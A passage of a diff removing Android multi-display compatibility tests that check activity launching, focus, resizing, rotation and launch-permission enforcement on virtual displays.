-                = mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
-    }
-
-    /**
-     * Tests launching activities on secondary and then on primary display to see if the stack
-     * visibility is not affected.
-     */
-    @Presubmit
-    public void testLaunchActivitiesAffectsVisibility() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Start launching activity.
-        launchActivity(LAUNCHING_ACTIVITY);
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
-        // Launch activity on primary display and check if it doesn't affect activity on secondary
-        // display.
-        getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
-        mAmWmState.waitForValidState(mDevice, RESIZEABLE_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
-    }
-
-    /**
-     * Test that move-task works when moving between displays.
-     */
-    @Presubmit
-    public void testMoveTaskBetweenDisplays() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
-                VIRTUAL_DISPLAY_ACTIVITY);
-        // The default display id for a 2d activity launch is vr virtual display for a vr headset.
-        int displayId = getCurrentDefaultDisplayId();
-        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
-        ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(defaultDisplayStackId);
-        assertEquals("Focus must remain on the correct display", displayId,
-                focusedStack.mDisplayId);
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Focus must be on secondary display", TEST_ACTIVITY_NAME);
-        int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
-        assertEquals("Focused stack must be on secondary display",
-                newDisplay.mDisplayId, focusedStack.mDisplayId);
-
-        // Move activity from secondary display to primary.
-        moveActivityToStack(TEST_ACTIVITY_NAME, defaultDisplayStackId);
-        mAmWmState.waitForFocusedStack(mDevice, defaultDisplayStackId);
-        mAmWmState.assertFocusedActivity("Focus must be on moved activity", TEST_ACTIVITY_NAME);
-        focusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
-        assertEquals("Focus must return to primary display", displayId,
-                focusedStack.mDisplayId);
-    }
-
-    /**
-     * Tests launching activities on secondary display and then removing it to see if stack focus
-     * is moved correctly.
-     * This version launches virtual display creator to fullscreen stack in split-screen.
-     */
-    @Presubmit
-    public void testStackFocusSwitchOnDisplayRemoved() throws Exception {
-        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
-
-        // Start launching activity into docked stack.
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
-        tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                FULLSCREEN_WORKSPACE_STACK_ID);
-    }
-
-    /**
-     * Tests launching activities on secondary display and then removing it to see if stack focus
-     * is moved correctly.
-     * This version launches virtual display creator to docked stack in split-screen.
-     */
-    public void testStackFocusSwitchOnDisplayRemoved2() throws Exception {
-        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
-
-        // Setup split-screen.
-        launchActivityInDockStack(RESIZEABLE_ACTIVITY_NAME);
-
-        // Start launching activity into fullscreen stack.
-        launchActivityInStack(LAUNCHING_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-
-        tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                FULLSCREEN_WORKSPACE_STACK_ID);
-    }
-
-    /**
-     * Tests launching activities on secondary display and then removing it to see if stack focus
-     * is moved correctly.
-     * This version works without split-screen.
-     */
-    public void testStackFocusSwitchOnDisplayRemoved3() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Start an activity on default display to determine default stack.
-        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
-        final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-        // Finish probing activity.
-        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
-        tryCreatingAndRemovingDisplayWithActivity(false /* splitScreen */, focusedStackId);
-    }
-
-    /**
-     * Create a virtual display, launch a test activity there, destroy the display and check if test
-     * activity is moved to a stack on the default display.
-     */
-    private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int defaultStackId)
-            throws Exception {
-        // Create new virtual display.
-        final VirtualDisplayBuilder builder = new VirtualDisplayBuilder(this)
-                .setPublicDisplay(true);
-        if (splitScreen) {
-            builder.setLaunchInSplitScreen(true);
-        }
-        final DisplayState newDisplay = builder.build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        if (splitScreen) {
-            mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
-        }
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
-                TEST_ACTIVITY_NAME);
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
-        // Destroy virtual display.
-        destroyVirtualDisplays();
-        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME, defaultStackId);
-        mAmWmState.assertSanity();
-        mAmWmState.assertValidBounds(true /* compareTaskAndStackBounds */);
-
-        // Check if the focus is switched back to primary display.
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-        mAmWmState.assertFocusedStack(
-                "Default stack on primary display must be focused after display removed",
-                defaultStackId);
-        mAmWmState.assertFocusedActivity(
-                "Focus must be switched back to activity on primary display",
-                TEST_ACTIVITY_NAME);
-    }
-
-    /**
-     * Tests launching activities on secondary display and then removing it to see if stack focus
-     * is moved correctly.
-     */
-    public void testStackFocusSwitchOnStackEmptied() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
-                BROADCAST_RECEIVER_ACTIVITY);
-
-        // Lock the device, so that activity containers will be detached.
-        sleepDevice();
-
-        // Finish activity on secondary display.
-        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
-        // Unlock and check if the focus is switched back to primary display.
-        wakeUpAndUnlockDevice();
-        mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
-        mAmWmState.waitForValidState(mDevice, VIRTUAL_DISPLAY_ACTIVITY);
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
-                VIRTUAL_DISPLAY_ACTIVITY);
-    }
-
-    /**
-     * Tests that input events on the primary display take focus from the virtual display.
-     */
-    public void testStackFocusSwitchOnTouchEvent() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-
-        mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
-        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
-                VIRTUAL_DISPLAY_ACTIVITY);
-
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
-                TEST_ACTIVITY_NAME);
-
-        final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
-        final int width = displayMetrics.getWidth();
-        final int height = displayMetrics.getHeight();
-        executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
-
-        mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
-        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
-                VIRTUAL_DISPLAY_ACTIVITY);
-    }
-
-    /** Test that shell is allowed to launch on secondary displays. */
-    public void testPermissionLaunchFromShell() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
-                VIRTUAL_DISPLAY_ACTIVITY);
-        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        // The default display id for a 2d activity launch is vr virtual display for a vr headset.
-        int displayId = getCurrentDefaultDisplayId();
-        ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
-        assertEquals("Focus must remain on the correct display", displayId,
-                focusedStack.mDisplayId);
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
-                TEST_ACTIVITY_NAME);
-        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
-        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
-                focusedStack.mDisplayId);
-
-        // Launch other activity with different uid and check it is launched on dynamic stack on
-        // secondary display.
-        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME
-                + " --display " + newDisplay.mDisplayId;
-        executeShellCommand(startCmd);
-
-        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
-        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", SECOND_PACKAGE_NAME,
-                SECOND_ACTIVITY_NAME);
-        assertEquals("Activity launched by system must be on external display",
-                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
-    }
-
-    /** Test that launching from app that is on external display is allowed. */
-    public void testPermissionLaunchFromAppOnSecondary() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
-                .build();
-
-        // Launch activity with different uid on secondary display.
-        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
-        final String displayTarget = " --display " + newDisplay.mDisplayId;
-        executeShellCommand(startCmd + displayTarget);
-
-        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
-        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
-                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
-        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(externalFocusedStackId);
-        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
-                focusedStack.mDisplayId);
-
-        // Launch another activity with third different uid from app on secondary display and check
-        // it is launched on secondary display.
-        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
-        final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
-                + " --es package_name " + THIRD_PACKAGE_NAME
-                + " --ei display_id " + newDisplay.mDisplayId;
-        final String includeStoppedPackagesFlag = " -f 0x00000020";
-        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
-                + targetActivity + includeStoppedPackagesFlag);
-
-        mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
-        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
-                THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
-        assertEquals("Activity launched by app on secondary display must be on that display",
-                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
-    }
-
-    /** Tests that an activity can launch an activity from a different UID into its own task. */
-    public void testPermissionLaunchMultiUidTask() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
-                .build();
-
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        // Check that the first activity is launched onto the secondary display
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        ActivityManagerState.ActivityStack frontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Activity launched on secondary display must be resumed",
-                getActivityComponentName(LAUNCHING_ACTIVITY),
-                frontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
-        // Launch an activity from a different UID into the first activity's task
-        getLaunchActivityBuilder()
-                .setTargetPackage(SECOND_PACKAGE_NAME)
-                .setTargetActivityName(SECOND_ACTIVITY_NAME).execute();
-
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
-        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
-                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
-        assertEquals("Secondary display must contain 1 task", 1, frontStack.getTasks().size());
-    }
-
-    /**
-     * Test that launching from display owner is allowed even when the the display owner
-     * doesn't have anything on the display.
-     */
-    public void testPermissionLaunchFromOwner() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
-                VIRTUAL_DISPLAY_ACTIVITY);
-        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
-        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
-                focusedStack.mDisplayId);
-
-        // Launch other activity with different uid on secondary display.
-        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
-        final String displayTarget = " --display " + newDisplay.mDisplayId;
-        executeShellCommand(startCmd + displayTarget);
-
-        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
-        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
-                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
-        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
-        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
-                focusedStack.mDisplayId);
-
-        // Check that owner uid can launch its own activity on secondary display.
-        final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
-        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
-                + " --ez launch_activity true --ez new_task true --ez multiple_task true"
-                + " --ei display_id " + newDisplay.mDisplayId);
-
-        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
-        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
-        assertEquals("Activity launched by owner must be on external display",
-                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
-    }
-
-    /**
-     * Test that launching from app that is not present on external display and doesn't own it to
-     * that external display is not allowed.
-     */
-    public void testPermissionLaunchFromDifferentApp() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
-                VIRTUAL_DISPLAY_ACTIVITY);
-        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        // The default display id for a 2d activity launch is vr virtual display for a vr headset.
-        int displayId = getCurrentDefaultDisplayId();
-        ActivityManagerState.ActivityStack focusedStack
-                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
-        assertEquals("Focus must remain on the correct display", displayId,
-                focusedStack.mDisplayId);
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
-                TEST_ACTIVITY_NAME);
-        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
-        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
-        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
-                focusedStack.mDisplayId);
-
-        final String logSeparator = clearLogcat();
-
-        // Launch other activity with different uid and check security exception is triggered.
-        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
-        final String includeStoppedPackagesFlag = " -f 0x00000020";
-        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
-                + " --ei display_id " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
-
-        assertSecurityException("LaunchBroadcastReceiver", logSeparator);
-
-        mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
-                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
-        mAmWmState.assertFocusedActivity(
-                "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
-        assertEquals("Focused stack must be on secondary display's stack",
-                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
-    }
-
-    private void assertSecurityException(String component, String logSeparator) throws Exception {
-        int tries = 0;
-        boolean match = false;
-        final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
-        while (tries < 5 && !match) {
-            String[] logs = getDeviceLogsForComponent(component, logSeparator);
-            for (String line : logs) {
-                Matcher m = pattern.matcher(line);
-                if (m.matches()) {
-                    match = true;
-                    break;
-                }
-            }
-            tries++;
-            try {
-                Thread.sleep(500);
-            } catch (InterruptedException e) {
-            }
-        }
-
-        assertTrue("Expected exception not found", match);
-    }
-
-    /**
-     * Test that only private virtual display can show content with insecure keyguard.
-     */
-    public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
-        if (!supportsMultiDisplay()) {
-            return;
-        }
-
-        // Try to create new show-with-insecure-keyguard public virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
-                .setPublicDisplay(true)
-                .setCanShowWithInsecureKeyguard(true)
-                .setMustBeCreated(false)
-                .build();
-
-        // Check that the display is not created.
-        assertNull(newDisplay);
-    }
-
-    /**
-     * Test that all activities that were on the private display are destroyed on display removal.
-     */
-    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
-    public void testContentDestroyOnDisplayRemoved() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new private virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
-        // Launch activities on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
-        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
-        mAmWmState.assertFocusedActivity("Launched activity must be focused",
-                RESIZEABLE_ACTIVITY_NAME);
-
-        // Destroy the display and check if activities are removed from system.
-        final String logSeparator = clearLogcat();
-        destroyVirtualDisplays();
-        final String activityName1
-                = ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
-        final String activityName2
-                = ActivityManagerTestBase.getActivityComponentName(RESIZEABLE_ACTIVITY_NAME);
-        final String windowName1
-                = ActivityManagerTestBase.getWindowName(TEST_ACTIVITY_NAME);
-        final String windowName2
-                = ActivityManagerTestBase.getWindowName(RESIZEABLE_ACTIVITY_NAME);
-        mAmWmState.waitForWithAmState(mDevice,
-                (state) -> !state.containsActivity(activityName1)
-                        && !state.containsActivity(activityName2),
-                "Waiting for activity to be removed");
-        mAmWmState.waitForWithWmState(mDevice,
-                (state) -> !state.containsWindow(windowName1)
-                        && !state.containsWindow(windowName2),
-                "Waiting for activity window to be gone");
-
-        // Check AM state.
-        assertFalse("Activity from removed display must be destroyed",
-                mAmWmState.getAmState().containsActivity(activityName1));
-        assertFalse("Activity from removed display must be destroyed",
-                mAmWmState.getAmState().containsActivity(activityName2));
-        // Check WM state.
-        assertFalse("Activity windows from removed display must be destroyed",
-                mAmWmState.getWmState().containsWindow(windowName1));
-        assertFalse("Activity windows from removed display must be destroyed",
-                mAmWmState.getWmState().containsWindow(windowName2));
-        // Check activity logs.
-        assertActivityDestroyed(TEST_ACTIVITY_NAME, logSeparator);
-        assertActivityDestroyed(RESIZEABLE_ACTIVITY_NAME, logSeparator);
-    }
-
-    /**
-     * Test that the update of display metrics updates all its content.
-     */
-    @Presubmit
-    public void testDisplayResize() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
-        // Launch a resizeable activity on new secondary display.
-        final String initialLogSeparator = clearLogcat();
-        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
-        mAmWmState.assertFocusedActivity("Launched activity must be focused",
-                RESIZEABLE_ACTIVITY_NAME);
-
-        // Grab reported sizes and compute new with slight size change.
-        final ReportedSizes initialSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
-                initialLogSeparator);
-
-        // Resize the docked stack, so that activity with virtual display will also be resized.
-        final String logSeparator = clearLogcat();
-        executeShellCommand(getResizeVirtualDisplayCommand());
-
-        mAmWmState.waitForWithAmState(mDevice, amState -> {
-            try {
-                return readConfigChangeNumber(RESIZEABLE_ACTIVITY_NAME, logSeparator) == 1
-                        && amState.hasActivityState(RESIZEABLE_ACTIVITY_NAME, STATE_RESUMED);
-            } catch (Exception e) {
-                logE("Error waiting for valid state: " + e.getMessage());
-                return false;
-            }
-        }, "Wait for the configuration change to happen and for activity to be resumed.");
-
-        mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME,
-                VIRTUAL_DISPLAY_ACTIVITY}, false /* compareTaskAndStackBounds */);
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
-        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true);
-
-        // Check if activity in virtual display was resized properly.
-        assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY_NAME, 0 /* numRelaunch */,
-                1 /* numConfigChange */, logSeparator);
-
-        final ReportedSizes updatedSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
-                logSeparator);
-        assertTrue(updatedSize.widthDp <= initialSize.widthDp);
-        assertTrue(updatedSize.heightDp <= initialSize.heightDp);
-        assertTrue(updatedSize.displayWidth == initialSize.displayWidth / 2);
-        assertTrue(updatedSize.displayHeight == initialSize.displayHeight / 2);
-    }
-
-    /** Read the number of configuration changes sent to activity from logs. */
-    private int readConfigChangeNumber(String activityName, String logSeparator) throws Exception {
-        return (new ActivityLifecycleCounts(activityName, logSeparator)).mConfigurationChangedCount;
-    }
-
-    /**
-     * Tests that when an activity is launched with displayId specified and there is an existing
-     * matching task on some other display - that task will moved to the target display.
-     */
-    public void testMoveToDisplayOnLaunch() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Launch activity with unique affinity, so it will the only one in its task.
-        launchActivity(LAUNCHING_ACTIVITY);
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
-        // Launch something to that display so that a new stack is created. We need this to be able
-        // to compare task numbers in stacks later.
-        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
-
-        final int taskNum = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
-                .getTasks().size();
-        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
-        final int taskNumOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
-                .getTasks().size();
-
-        // Launch activity on new secondary display.
-        // Using custom command here, because normally we add flags Intent#FLAG_ACTIVITY_NEW_TASK
-        // and Intent#FLAG_ACTIVITY_MULTIPLE_TASK when launching on some specific display. We don't
-        // do it here as we want an existing task to be used.
-        final String launchCommand = "am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY)
-                + " --display " + newDisplay.mDisplayId;
-        executeShellCommand(launchCommand);
-        mAmWmState.waitForActivityState(mDevice, LAUNCHING_ACTIVITY, STATE_RESUMED);
-
-        // Check that activity is brought to front.
-        mAmWmState.assertFocusedActivity("Existing task must be brought to front",
-                LAUNCHING_ACTIVITY);
-        mAmWmState.assertResumedActivity("Existing task must be resumed", LAUNCHING_ACTIVITY);
-
-        // Check that activity is on the right display.
-        final ActivityManagerState.ActivityStack firstFrontStack =
-                mAmWmState.getAmState().getStackById(frontStackId);
-        assertEquals("Activity must be moved to the secondary display",
-                getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
-        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
-
-        // Check that task has moved from primary display to secondary.
-        final int taskNumFinal = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number in default stack must be decremented.", taskNum - 1,
-                taskNumFinal);
-        final int taskNumFinalOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number in stack on external display must be incremented.",
-                taskNumOnSecondary + 1, taskNumFinalOnSecondary);
-    }
-
-    /**
-     * Tests that when primary display is rotated secondary displays are not affected.
-     */
-    public void testRotationNotAffectingSecondaryScreen() throws Exception {
-        if (!supportsMultiDisplay()) { return; }
-
-        // Create new virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
-                .setResizeDisplay(false)
-                .build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
-        // Launch activity on new secondary display.
-        String logSeparator = clearLogcat();
-        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
-                RESIZEABLE_ACTIVITY_NAME);
-        final ReportedSizes initialSizes = getLastReportedSizesForActivity(
-                RESIZEABLE_ACTIVITY_NAME, logSeparator);
-        assertNotNull("Test activity must have reported initial sizes on launch", initialSizes);
-
-        // Rotate primary display and check that activity on secondary display is not affected.
-        rotateAndCheckSameSizes(RESIZEABLE_ACTIVITY_NAME);
-
-        // Launch activity to secondary display when primary one is rotated.
-        final int initialRotation = mAmWmState.getWmState().getRotation();
-        setDeviceRotation((initialRotation + 1) % 4);
-
-        logSeparator = clearLogcat();
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
-        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
-                TEST_ACTIVITY_NAME);
-        final ReportedSizes testActivitySizes = getLastReportedSizesForActivity(
-                TEST_ACTIVITY_NAME, logSeparator);
